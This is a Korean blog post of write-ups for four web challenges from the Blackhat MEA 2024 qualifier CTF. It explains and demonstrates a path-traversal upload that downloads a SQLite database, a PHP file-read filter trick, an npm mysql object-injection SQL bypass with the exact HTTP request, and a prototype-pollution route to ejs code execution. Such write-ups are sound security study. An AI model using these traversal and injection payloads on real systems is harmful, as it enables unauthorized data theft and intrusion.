Blackhat MEA Quals 2024 Web Writeups
last update 24.09.02
팀원이 없어서 가계정을 두 개 파서 진행했다. 이메일 인증 안했으니 알아서 삭제... 되겠지?
회원탈퇴 버튼이 없다 ;;
[WEB] Watermelon (easy)
Flask로 작성된 애플리케이션이다.
- 회원 가입과 로그인, 파일 업로드와 업로드된 파일을 확인하는 기능이 있다.
- admin 계정의 비밀번호를 알아내야 하는데, 랜덤으로 설정되어 알 수 없다.
- SQLAlchemy를 사용하여 SQLi가 어렵다.
- SQLite 데이터베이스를 사용하고, 비밀번호를 해시 처리하지 않으므로 데이터베이스 파일을 통째로 읽어올 수 있으면 문제를 해결할 수 있다.
@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400
user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename
if filename in blocked:
return jsonify({"Error":"Why?"})
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()
return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201
return jsonify({"Error": "File upload failed"}), 500
업로드 부분이 취약하다. filename
파라미터에 secure_filename
을 적용하기는 하는데, filepath
에는 sanitizing을 적용하지 않은 값이 그대로 사용된다. 파일의 저장경로는 /app/files/{userid}/{filename}
이고 DB 파일의 위치는 /app/instance/db.db
이므로 ../../instance/db.db
라는 파일을 업로드한 후 읽어오면 된다.
HTTP/1.1 200 OK
Date: Sun, 01 Sep 2024 14:42:18 GMT
Content-Type: application/json
Content-Length: 137
Connection: keep-alive
Vary: Cookie
Referrer-Policy: no-referrer
{"files":[{"filename":"instance_db.db","filepath":"files/2/../../instance/db.db","id":1,"uploaded_at":"Sun, 01 Sep 2024 14:32:00 GMT"}]}
실제로 filename
은 sanitize 됐지만, filepath
는 입력 그대로임을 확인할 수 있다.
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
파일을 읽어오는 부분에서도 DB를 신뢰하고 별도의 검증을 하지 않아서, SQlite 데이터베이스를 통째로 내려받을 수 있다.
BHFlagY{7430979c833ed96848a45db5f807e6dc}
[WEB] free flag (easy)
if(isset($_POST['file']))
{
if(isRateLimited())
{
die("Limited 1 req per second");
}
$file = $_POST['file'];
if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
{
die("catched");
}
else
{
echo file_get_contents($file);
}
}
file_get_contents
를 통해 임의의 파일을 읽을 수 있다. 하지만 파일의 시작이 <?php
여야만 내용을 확인할 수 있다. LFI인건 확실한데, include
라면 php://input
를 이용해 RCE를 할 수 있겠지만 file_get_contents
를 어떻게 우회할 수 있을까?
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md
만물의바다에서 힌트를 찾았다. 다국어 필터를 조합하면 읽으려고 하는 파일 앞뒤에 특정 단어를 붙일 수 있었다.
https://www.ambionics.io/blog/wrapwrap-php-filters-suffix
읽어봐야겠따.
BHFlagY{c29b8a6618ec67f56265e66c6d65bf7b}
[WEB] notey (medium)
express로 작성된 애플리케이션이다.
- 회원 가입과 로그인, 메모 작성과 확인 기능이 있다.
- admin이 작성한 메모를 확인해야 한다.
- 메모 번호와 비밀번호를 알면 다른 사람의 메모를 조회할 수 있다.
- npm mysql을 사용하여 데이터베이스에 접근한다.
npm의 MySQL 접속 드라이버 중mysql2
가 아니라 mysql
패키지를 사용하면, prepared statement를 사용하지 않는다. 겉보기에는 prepared statement를 사용하여 SQLi 공격을 방어하는 것 같지만, 사실은 서버에 요청을 보내기 전 로컬에서 처리만 한다.
This looks similar to prepared statements in MySQL, however it really just uses the same
connection.escape()
method internally. (mysqljs/mysql)
위 메뉴얼을 보면 복합 자료형일 때 toString 결과가 아니라 그 자료형을 그대로 쓴다고 나와 있다.
SELECT * FROM database.`users` WHERE `users`.`name` = ?
를 구문으로 하고, 인자로 {"id": "a"}
이 들어오면,
SELECT * FROM database.`users` WHERE `users`.`name` = `id` = "a"
와 같이 확장된다. 이때 SQL의 비교 연산자는 우결합이므로, id 컬럼의 값을 먼저 비교하고, boolean 값인 비교 결과와 name 컬럼의 값을 비교한다. MySQL은 문자열과 숫자를 비교할 때 0과 1로만 판단하는 재밌는 트릭이 있다.
+---------+---------+---------+---------+
| 'a' = 1 | 'a' = 0 | '1' = 1 | '1' = 0 |
+---------+---------+---------+---------+
| 0 | 1 | 1 | 0 |
+---------+---------+---------+---------+
app.use(bodyParser.urlencoded({
extended: true
}))
복합 자료형을 파싱하는 옵션이 켜져 있어서 npm mysql
드라이버의 허점을 이용한 공격을 할 수 있다.
자료형을 확인하는 미들웨어가 적용되지 않은 엔드포인트 중, 쿼리를 날리는 엔드포인트는 /viewNote
가 있다.
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
관리자가 작성한 메모의 번호와 비밀번호 모두 모르지만, 위에서 설명한 문자열 비교 트릭으로 모두 우회 가능하다.
GET /viewNote?note_id[username]=0¬e_secret[username]=0 HTTP/1.1
Host: 172.19.87.23:5000
Cookie: connect.sid=s%3AimUtO4Eb4qH0TsI2ks80XstgoHBj9XkM.cO1ahohauAcNnSMciMiNu%2F8kW%2B10pA32FJ3UER7CtWU
Connection: keep-alive
이렇게 요청을 보내면
SELECT note_id,username,note FROM notes WHERE note_id = `username` = 0 and secret = `secret` = 0
이런 쿼리가 DBMS에 보내지고, note_id = (username = 0)
에서 문자열은 0으로 평가되므로 noteid = 0
, 결과적으로 1이 되어 모든 노트가 쿼리된다.
그리고 로그인을 못해 플래그를 못 따고 있었는데.. 티켓을 열어서 혹시 express 세션 우회까지가 문제인지 문의해 보니 인스턴스 초기화를 수 초 단위로 한다고 했다. 그래서 스크립트 짜서 몇 번 해본 끝에 성공했다. 레이스컨디션;;
BHFlagY{b7e1a9cd0cd1845e6542ec27375a05d2}
[WEB] Fastest Delivery Service (hard)
express로 작성된 애플리케이션이다.
- 미들웨어 등은
app.js
에서 연결하지 않아 볼 필요가 없는 파일들이다. - 회원 등록을 하면 주소를 설정할 수 있다.
- ejs를 이용해 사용자 이름을 렌더링한다.
let addresses = {};
// ...
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;
if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});
회원가입을 할 떄 사용자 이름 제한이 없어서 __proto__
를 이름으로 쓴다면 Prototype Pollution이 가능하다. addresses
딕셔너리는 Null prototype에서 만들어진 객체가 아니기 때문에, addressses
를 오염시키면 다른 객체들도 모두 오염된다.
도커파일을 보면 플래그가 저장되는 파일의 이름이 랜덤으로 저장되어서 RCE를 터트려야 한다. ejs 3.1.6의 RCE 취약점이 생각났다. 찾아보니, CVE-2022-29078 이후에도 ejs를 통한 RCE가 많이 발견되었다.
prototype pollution을 통해 ejs 공격 벡터를 짜면 RCE 가능하다. 다만 "
를 입력하면 addslashes 처리가 되어 큰따옴표 없는 페이로드를 써야 한다. CVE로 등록되지는 않았지만, 공개된 페이로드가 몇 개 있었다.
가장 약한 고리가 취약한 지점이라는 말이 괜히 나온게 아니다...
나도하나 찾아봐야지!
'보안 > Writeup' 카테고리의 다른 글
Hacktheon 2024 qualifying (0) | 2024.04.28 |
---|---|
b01lers CTF 2023 - Web Writeups (0) | 2023.03.20 |
Blackhat MEA 2022 Quals - Hope You Know JS (0) | 2023.03.19 |
SSTF 2022 writeup (0) | 2023.03.19 |
GDG Algiers CTF 2022 - Web - Validator (0) | 2022.10.10 |